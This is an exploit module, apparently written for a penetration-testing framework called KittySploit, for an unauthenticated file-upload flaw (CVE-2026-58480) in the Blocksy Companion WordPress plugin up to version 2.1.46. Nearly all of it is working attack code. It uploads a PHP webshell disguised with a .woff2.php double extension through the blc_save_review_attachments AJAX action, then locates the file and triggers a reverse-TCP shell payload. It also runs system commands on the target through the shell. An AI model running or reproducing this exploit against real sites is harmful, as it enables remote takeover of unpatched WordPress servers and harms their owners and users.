Blocksy Companion <= 2.1.46 - Unauthenticated File Upload RCE (CVE-2026-58480)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from __future__ import annotations

import json
import re
from datetime import datetime
from typing import List, Optional, Tuple

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.wordpress import Wordpress


class Module(Exploit, Http_client, Wordpress):
    __info__ = {
        "name": "Blocksy Companion <= 2.1.46 - Unauthenticated File Upload RCE (CVE-2026-58480)",
        "description": (
            "CVE-2026-58480: unauthenticated arbitrary file upload via blc-review-images[] "
            "in blc_save_review_attachments. Double-extension bypass (.woff2.php) when "
            "Advanced Reviews and Custom Fonts are enabled. Fixed in 2.1.47."
        ),
        "author": ["Mohammed Idrees Banyamer", "KittySploit Team"],
        "cve": ["CVE-2026-58480"],
        "arch": [Arch.PHP],
        "platform": Platform.MULTI,
        "references": [
            "https://wordpress.org/plugins/blocksy-companion/",
            "https://creativethemes.com",
        ],
        "tags": [
            "wordpress",
            "blocksy",
            "blocksy-companion",
            "file-upload",
            "rce",
            "unauthenticated",
            "cve-2026-58480",
        ],
        "payload": {
            "default": "payloads/singles/cmd/php/reverse_tcp",
            "arch": Arch.PHP,
            "platform": Platform.PHP,
            "category": "singles",
        },
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 4,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.5,
            "value": 1.0,
            "requires": {
                "tech_hints_any": ["wordpress", "php"],
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": "uploaded PHP webshell"},
                    {"capability": "shell", "from_detail": "reverse_tcp session"},
                ],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [],
            },
        },
    }

    shell_name = OptString("", "Uploaded filename (default: random .woff2.php)", required=False)
    cmd_param = OptString("cmd", "Webshell command parameter", required=False)
    verify_cmd = OptString("id", "Command for optional verification output", required=False)
    skip_version_check = OptBool(False, "Exploit even if plugin version looks patched", required=False, advanced=True)

    def _wp_base(self) -> str:
        return self.wp_normalize_base_path(self.path or "/")

    def _path(self, suffix: str) -> str:
        base = self._wp_base()
        if not suffix.startswith("/"):
            suffix = "/" + suffix
        return f"{base}{suffix}" if base != "/" else suffix

    def _plugin_version(self) -> Tuple[str, str]:
        wp_base = self._wp_base()
        readme = self.wp_plugin_path(wp_base, "blocksy-companion", "readme.txt")
        version = self.wp_plugin_version("blocksy-companion", wp_base)
        if version:
            return version, readme
        response = self.http_request(method="GET", path=readme, allow_redirects=True)
        if response and int(response.status_code or 0) == 200:
            return "", readme
        return "", ""

    def _version_vulnerable(self, version: str) -> Optional[bool]:
        if not version:
            return None
        return self.wp_version_in_range(version, (0, 0, 0), (2, 1, 46))

    def _shell_filename(self) -> str:
        custom = str(self.shell_name or "").strip()
        if custom:
            return custom
        return f"{self.random_text(8)}.woff2.php"

    def _build_shell(self) -> bytes:
        body = str(self.payload or "").strip()
        param = str(self.cmd_param or "cmd").strip() or "cmd"
        if body:
            source = f"<?php {body} ?>"
        else:
            source = (
                "<?php "
                f'if(isset($_REQUEST["{param}"])){{@system($_REQUEST["{param}"]);}}'
                " ?>"
            )
        return source.encode()

    def _upload(self, filename: str, content: bytes):
        return self.http_request(
            method="POST",
            path=self._path("/wp-admin/admin-ajax.php"),
            data={"action": "blc_save_review_attachments"},
            files={"blc-review-images[]": (filename, content, "application/octet-stream")},
            timeout=30,
        )

    def _extract_shell_paths(self, response, filename: str) -> List[str]:
        text = (getattr(response, "text", "") or "").strip()
        paths: List[str] = []

        if text and text != "0":
            try:
                payload = response.json()
            except (ValueError, json.JSONDecodeError):
                payload = None
            if isinstance(payload, dict):
                for key in ("url", "file", "path", "attachment_url", "source_url"):
                    value = payload.get(key) or (payload.get("data") or {}).get(key)
                    if isinstance(value, str) and filename in value:
                        paths.append(value)
                data = payload.get("data")
                if isinstance(data, list):
                    for item in data:
                        if not isinstance(item, dict):
                            continue
                        for key in ("url", "file", "path", "source_url"):
                            value = item.get(key)
                            if isinstance(value, str) and filename in value:
                                paths.append(value)

            for match in re.finditer(
                rf"(?i)(/wp-content/uploads/[^\s\"'<>]+{re.escape(filename)})",
                text,
            ):
                paths.append(match.group(1))

        now = datetime.utcnow()
        guesses = [
            f"/wp-content/uploads/{now.year}/{now.month:02d}/{filename}",
            f"/wp-content/uploads/{now.year}/{now.month}/{filename}",
        ]
        for guess in guesses:
            if guess not in paths:
                paths.append(guess)
        return paths

    def _resolve_shell_path(self, response, filename: str) -> Optional[str]:
        for candidate in self._extract_shell_paths(response, filename):
            path = candidate
            if path.startswith("http://") or path.startswith("https://"):
                from urllib.parse import urlparse

                path = urlparse(path).path or path
            if not path.startswith("/"):
                path = "/" + path
            probe = self.http_request(method="GET", path=self._path(path), timeout=15)
            if probe and int(probe.status_code or 0) == 200:
                return self._path(path)
        return None

    def _trigger_shell(self, shell_path: str, param: str, value: str = "") -> Optional[str]:
        params = {param: value} if value else None
        response = self.http_request(method="GET", path=shell_path, params=params, timeout=20)
        if not response:
            return None
        return (response.text or "").strip()

    def check(self):
        version, evidence = self._plugin_version()
        if not evidence:
            return {"vulnerable": False, "reason": "Blocksy Companion not detected", "confidence": "low"}

        vuln = self._version_vulnerable(version)
        if vuln is False:
            return {
                "vulnerable": False,
                "reason": f"Blocksy Companion {version} >= 2.1.47 (patched)",
                "confidence": "high",
            }

        filename = self._shell_filename()
        marker = self.random_text(8)
        probe = self._upload(filename, f"<?php echo '{marker}'; ?>".encode())
        if not probe or int(probe.status_code or 0) not in (200, 201):
            return {
                "vulnerable": True,
                "reason": f"Plugin detected ({evidence}) but upload probe failed",
                "confidence": "medium",
            }

        shell_path = self._resolve_shell_path(probe, filename)
        if shell_path and marker in (self._trigger_shell(shell_path, "", "") or ""):
            return {
                "vulnerable": True,
                "reason": "CVE-2026-58480 upload + PHP execution confirmed",
                "confidence": "confirmed",
            }

        return {
            "vulnerable": True,
            "reason": f"Blocksy Companion {version or 'unknown'} detected; upload accepted",
            "confidence": "high" if vuln else "medium",
        }

    def run(self):
        print_status("CVE-2026-58480 — Blocksy Companion unauthenticated file upload")

        if not self.payload:
            print_error("No payload generated. Set payloads/singles/cmd/php/reverse_tcp.")
            return False

        version, evidence = self._plugin_version()
        if not evidence:
            print_error("Blocksy Companion not detected")
            return False

        vuln = self._version_vulnerable(version)
        if version:
            print_info(f"Blocksy Companion {version} — {'affected' if vuln else 'patched'}")
        if vuln is False and not self.skip_version_check:
            print_error("Target appears patched (>= 2.1.47). Use skip_version_check to force.")
            return False

        filename = self._shell_filename()
        print_status(f"Uploading {filename} via blc_save_review_attachments...")
        response = self._upload(filename, self._build_shell())
        if not response or int(response.status_code or 0) not in (200, 201):
            print_error(f"Upload failed: HTTP {getattr(response, 'status_code', '?')}")
            return False

        shell_path = self._resolve_shell_path(response, filename)
        if not shell_path:
            print_error("Upload accepted but shell path could not be resolved")
            print_info((response.text or "")[:600])
            return False

        print_success(f"Shell uploaded: {shell_path}")

        param = str(self.cmd_param or "cmd").strip() or "cmd"
        print_status("Triggering shell (check listener for reverse_tcp)...")
        self._trigger_shell(shell_path, param)

        verify = str(self.verify_cmd or "").strip()
        if verify:
            output = self._trigger_shell(shell_path, param, verify)
            if output:
                print_success("Verification output:")
                print_info(output[:1024])

        return True